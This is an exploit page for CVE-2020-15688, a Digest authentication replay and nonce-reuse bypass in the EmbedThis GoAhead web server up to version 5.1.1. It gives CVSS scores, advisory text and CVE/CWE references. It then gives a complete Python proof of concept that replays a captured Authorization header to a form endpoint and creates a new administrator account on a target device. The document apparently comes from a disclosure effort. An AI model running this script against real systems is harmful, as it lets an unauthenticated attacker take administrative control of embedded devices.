EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse

2020.10.07
mk LiquidWorm (MK) mk
Risk: Medium
Local: No
Remote: Yes


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse # # # Vendor: Embedthis Software LLC # Product web page: https://www.embedthis.com # Affected version: <=5.1.1 and <=4.1.2 # Fixed version: >=5.1.2 and >=4.1.3 # # Summary: GoAhead is the world's most popular, tiny embedded web server. It is compact, # secure and simple to use. GoAhead is deployed in hundreds of millions of devices and is # ideal for the smallest of embedded devices. # # Desc: A security vulnerability affecting GoAhead versions 2 to 5 has been identified when # using Digest authentication over HTTP. The HTTP Digest Authentication in the GoAhead web # server does not completely protect against replay attacks. This allows an unauthenticated # remote attacker to bypass authentication via capture-replay if TLS is not used to protect # the underlying communication channel. Digest authentication uses a "nonce" value to mitigate # replay attacks. GoAhead versions 3 to 5 validated the nonce with a fixed duration of 5 minutes # which permitted short-period replays. This duration is too long for most implementations. # # Tested on: GoAhead-http # GoAhead-Webs # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5598 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5598.php # # CVE ID: CVE-2020-15688 # CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15688 # https://nvd.nist.gov/vuln/detail/CVE-2020-15688 # # CWE ID: CWE-294 Authentication Bypass by Capture-replay # CWE URL: https://cwe.mitre.org/data/definitions/294.html # # CWE ID: CWE-323: Reusing a Nonce, Key Pair in Encryption # CWE URL: https://cwe.mitre.org/data/definitions/323.html # # GoAhead Security Alerts / Fix: # https://github.com/embedthis/goahead-gpl/issues/3 # https://github.com/embedthis/goahead-gpl/issues/2 # https://github.com/embedthis/goahead-gpl/commit/fe0662f945bd7e24b8d621929e1b93d8a7f3f08f#diff-0988df549d878c849d7f2c073319bcb2 # # # 29.08.2019 # # # PoC for a network controller running GoAhead web server. # Replay Authentication Bypass / Create Admin User # import requests import sys##### if (len(sys.argv) <= 1): print("Usage: ./nen.py <ipaddress>") exit(0) ip = sys.argv[1] url = "http://"+ip+"/goform/formUserManagementAdd?lang=en" kolache = {"lang":"en"} replay = "Digest username=\"admin\", " replay += "realm=\"GoAhead\", " replay += "nonce=\"5fb3ce6dec423bf8b8f0dfc8cf65244d\", " replay += "uri=\"/goform/formUserManagementAdd?lang=en\", " replay += "algorithm=MD5, " replay += "response=\"1c05f4d08aa0cfcc5318882e0fb4e9af\", " replay += "opaque=\"5ccc069c403ebaf9f0171e9517f40e41\", " replay += "qop=auth, " replay += "nc=0000000a, " replay += "cnonce=\"0649f631320f23bb\"" headers = {"Cache-Control": "max-age=0", "Authorization": replay, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "NoProxy/NoProblem.251", "Accept-Encoding": "gzip, deflate", "Accept-Language": "mk-MK;q=0.9,mk;q=0.8", "Connection": "close"} data = {"FormSubmitCause": "button", "DefinitionAction": "add", "Define_admin_ID": "admin", "Define_admin_Name": "admin", "Define________Action________ID": '', "Define________Action________Name": "testingus", "Define________Action________Password": "testingus", "Define________Action________Group": "Administrators"} requests.post(url, headers=headers, cookies=kolache, data=data) print("Finito")


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